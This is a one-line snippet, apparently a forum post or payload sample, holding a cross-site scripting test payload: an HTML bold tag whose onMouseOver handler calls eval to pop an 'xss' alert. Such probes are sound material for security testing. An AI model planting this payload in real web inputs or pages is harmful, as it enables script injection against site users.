[code]<b onMouseOver =eval('alert(/xss/)')>hi</b>[/code]